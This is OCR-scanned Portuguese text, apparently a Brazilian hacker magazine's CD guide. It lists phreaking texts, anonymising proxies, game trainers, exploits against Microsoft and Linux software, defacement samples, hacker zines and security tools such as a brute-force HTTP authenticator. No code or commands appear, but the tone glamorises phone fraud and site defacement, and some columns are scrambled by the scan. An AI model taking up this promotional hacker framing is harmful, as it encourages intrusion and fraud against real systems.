dos mais figuras é o Wee Man; ele é um anaozinho muito louco
que participa das “pegadinhas” da pior forma possivel. Algumas
vezes vestido de dragéo, outras servindo como saco de panca-
das para o jogador de basquete Shaquille O'Neil. A criaturinha
que até ja tem até um site feito pelos seus fas (Attp.7/

www. wee-man.tk/y da um show a parte. Mas preste muita
atencdo nos avisos que aparecem antes e depois do programa,
eles dizem: “nossos idiotas sao bem treinados e vocé nao deve
imitar nenhuma destas coisas estupidas que os viu fazer”. Bem,
imitar vocé ndo deve mesmo, mas assistir é obrigatorio.




GUIA DO CD

Phreaking

Ligagdo arriscada

0O phreaking é tdo ou mais antigo do que o préprio hacking e mesmo assim
nao é tao popular. Talvez porque seja bem mais facil prender alguém que
esteja alterando um terminal de telefone publico do que algiém que
desfigura um site. Isso d4 medo. Porém, o estudo do funcionamento dos
telefones, celulares e satélites é tao fascinante que muitas pessoas se arriscam
a ir para a cadeia por fraudar os sistemas de telefonia mundo afora. A nossa
intencao é que vocé se familiarize com alguns termos comuns aos phreakers e
comece a entender as engrenagens que fazem com que o mundo se
comunique. Para tanto, é essencial ler e entender os documentos presentes
nesta edicao, nesta categoria e também nos White Papers.

cé com duas das distribuic
indo da protecao de servidores
rogramas e tutoriais gue mostram o

cdo de invasores pelo

- as de hacking e
ste Ultimo ganhou até uma categoria especial,

gramas para estudo e textos com

Proxies

Privacidade e controle

Trustix 1.5 eles o servidor Apache \co de dados 8l Depois de falar sobre firewalls na ultima edicao, voltamos a colocar
Aclamado pela critica, temido pelos MySQL 3.23, alem do Proxy Squid 2.4 e d¢ foco. Afinal, o que vocé faz na Internet é problema seu e, além de tud
hackers liente/servid )y Telnet criptogratado iss0, selecionamos varios proxies para ocultar sua identidade na Wel

Esta é uma das mais elog ' : " 3 recebe. Na categoria estao presentes softwares para Linux e Windows, porg
sisterna operacional, vocé merece ter sua privacidade preservada.

seguranca
o uma

ica, tem um pacote bem

ontl 1 ' .
com os principais softwares [ srio fazer backups dos set J L ' : !
necessarios para proteger redes, entre dados, pois acident contecem —— .

Trainers

Se nao der para ganhar por bem... de jogar aquele joguinho novo que vocé acabou de comprar.
Dando um tempinho nas falhas de seguranca, técnicas Confira os jogos que vocé poderd “destravar” com os trainers
de escaneamento de rede e construcdo de virus, desta edicao: 007 NigthFire, Age of Mitology Airport Tycoon ,

separamos trainers para os lancamentos mais quentes da
temporada. Com eles vocé pode ter dinheiro, municao e
outros itens infinitos que vao facilitar sua vida na hora

Anno 1503, Comand & Conquer Generals, Doom I, GTA 3,
Jedi Knight Il, Nascar Revolution, Diablo Il Shadowmaster,
SimCity 4 e Tropico 2 ? Pirate Cove.
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Crie sua fortaleza open source
Todos falam por ai que o Linux é
superseguro, impenetravel, etc.
Mas poucos sabem que existem
(muitas) falhas de sequranca que
atingem o sistema operacional e
0s servicos que ele usa. Por isso e
muito importante remendar
alguns furos deixados pelo
pessoal do Free Software. O
primeiro passo ¢é atualizar seu
kernel com a versao estavel
mais recente (disponivel no CD desta edicao) e, depois,
conforme suas necessidades, ir fortalecendo seus aplicativos
na Internet e nas redes locais. Dessa forma, vocé pode
confirmar tudo que falam do Linux. Do contrario, € ficar tao
vulneravel quanto qualquer outro lammer. Confira os outros
destaques da categoria

AAFID2

Ferramenta para monitoracao de redes e agente para
deteccao de intrusos

Access Point Utilities 1.3.1

Conjunto de utilitarios para configurar e monitorar o acesso
a dados de um ponto de rede Wireless rodando Unix
Aldebaran-3.0.2

Sniffer baseado no libpcap para redes Linux

AlioS WormWarn 1.0

Analisa os arquivos de log do Apache e detecta
modificacées geradas por trojans, virus e invasores
Authforce v0.9.6

Autenticador HTTP que usa o método brute-force
APG v2.1.0

Gerador de passwords automatico

Kernel 2.40 :

Versdo mais recente do kernel estavel do Linux
Chump 0.0.7

Compilador assembler e disassembler, muito leve e
confiavel

Admuser for Squid

Gerencie os usudrios de um site CGl usando o Squid
BannerFilter 1.21

Serve como um proxy que barra o carregamento de
banners e adwares

Apache Compile HOWTO

Tutorial sobre configuracao do Apache e seus diversos mods

Jay’s Iptables Firewall 0.9.4
Firewall com suporte a multiplas interfaces que pode ser
configurado através de um script Perl

SaveMyModem 0.16
Software anti-spam desenvolvido especialmente para
usuarios que possuem conexao dial-up lentas

SuckBot 0.006

SuckBot é um bot para IRC escrito em C que suporta
plug-ins dindmicos, que podem ser ligados e desligados
sem interrupgoes

Swaret 1.0.2

Permite que vocé mantenha seu sistema Slackware
sempre atualizado. Fle tem a funcao parecida com a do
apt-get do Debian

Weblog 0.5b

Permite comparar logs que sao gerados pelo servidor
Apache, gera estatisticas detalhadas do raw log e dos
host names

BanSpam .
Script em Tcl que filtra as mensagens e evita que vocé
receba spam via IRC

Directory Administrator-1.3.3
Utilitario para controlar e obter informacées sobre
usuarios e grupos em sistema Unix

GKsu-0.8.2
Aplicativo que otimiza as opgdes de shell dos comandos su
e sudo

gnocl0.5.5
Ferramenta desenvolvida para programar em Tcl no
GNOME

Gnome Display Manager 2.4
Aplicativo que implementa as funcées do xdm do
GNOME

Gofish-0.27
Para desenvolver e manter servidores Web e Gopher com
seguranca

JCTerm 0.0.2 ;
Emulador de terminal SSH2 feito em puro Java

DotGNU Portable.NET 0.5
Plataforma para projetos Linux com metadados
semelhantes ao .NET

eLDAPo 1.13
Ferramenta para gerenciamento e consultas em servidores
LDAP

evilwm 0.99.14
Gerenciador de janelas supercompacto e robusto

A fabrica do prazer da revista H4CK3R
Parte 3

Exploits
A MS$ de joelhos!
Nesta edicao selecionamos algumas das mais

~vergonhosas falhas de seguranca que a poderosa

Microsoft ja teve o desprazer de fabricar. Sao
vulnerabilidades para os mais diversos produtos da M$,
entre eles o administrador de bancos de dados MS SQL,
os sistemas operacionais Windows 2000, NT e MS-DOS,
além de outros softwares “for Windows”, como o
NetMeeting, IS e muitos outros. Ah! Para néo falar que
pegamos muito no pé da empresa do Bill Gates,
também colocamos um bom repertério de exploits para
Linux, Apache e muito mais.

Honeypots

A armadilha esta pronta!

A coisa vai ficar cada vez mais dificil para quem quiser
invadir sites. Pelo menos é o que se espera, se 0s
admins comecarem a usar as técnicas de Honeypots
para enganar os invasores mais descuidados. Os
honeypots sao como hosts virtuais que tém falhas de
seguranca e ficam propositalmente a mostra, atraindo
0s intrusos (que ndo vao encontrar nada no servidor
falso e ainda terdo seus dados rastreados para um
eventual contra-ataque!). Os programas presentes no
CD demonstram o funcionamento destas armadilhas,
assim vocé pode criar seu proprio Honeypot ou mesmo
aprender a identificar e fugir de um.

Defacements

Defacers anti-USA

Manifestantes no mundo todo queimam bandeiras
norte-americanas em sinal de protesto. Certos ou nao,
os defacers também aderiram ao 6dio contra o império
ianque, e varios sites estao sendo invadidos. O
resultados sdo mensagens “politicas”, como: “FUCK
USA” e “FUCK you BUSH", que sdo deixadas em sites
do mundo todo. Confira uma amostra disso na
categoria Defacements desta edicao.

White Papers

Os Gibis do underground digital

Se aquela frase feita que diz que "“informacao vale ouro”
estiver certa, vocé pode se considerar rico. No CD desta
edicdo, reunimos os melhores zines digitais sobre
hacking e phreaking. Eles trazem tutoriais completos e
detalhados sobre as mais diversas técnicas de seguranca e
acesso remoto sem esquecer do bom humor. Os assuntos
abordados merecem um destaque especial. Confira: Static
Kernel Patching (na Phrack #58 e #60), Firewall Spotting
(na Phrack #60), Cracking NT Passwords (na Phrack #50),
Unix Hacking (na Phrack #46), todos em inglés, e FTP
Brute Force, DDoS, Buffer Overflows e Secret Backdoors
nos zines dos brasileiros do Fatal_3rror. Sobre phreaking,
o material é ainda mais abrangente, abordando desde
técnicas do Blue Box até um glossario bem basico para
quem esta comecando na area.

Linux-Tools

Crie sua fortaleza open source

Todos falam por ai que o Linux é superseguro,
impenetréavel, etc. Mas poucos sabem que existem (muitas)
falhas de seguranca que atingem o sistema operacional e
0s servicos que ele usa. Por isso é muito importante
remendar alguns furos deixados pelo pessoal do Free
Software. O primeiro passo é atualizar seu kernel com a
versao estavel mais recente (disponivel no CD desta edicao)
e, depois, conforme suas necessidades, ir fortalecendo
seus aplicativos na Internet e nas redes locais. Dessa forma,
vocé pode confirmar tudo que falam do Linux. Do
contrario, é ficar tdo vulneravel quanto qualquer outro
lammer. Confira os outros destaques da categoria:

MP3

Ownando seus ouvidos

Selecionamos trés bandas sensacionais para vocé ouvir
enquanto escaneia um servidor em busca de
vulnerabilidades ou configura seu Iptables. Todas fazem
uma mistura de estilos da musica eletronica com algumas
pitadas de metal e dark metal. O tom sombrio do Cyrus
Rex é um bom exemplo disso. Confira também o retr6 do
J. Ultimus e o competente drum’n’ bass do Vexation.
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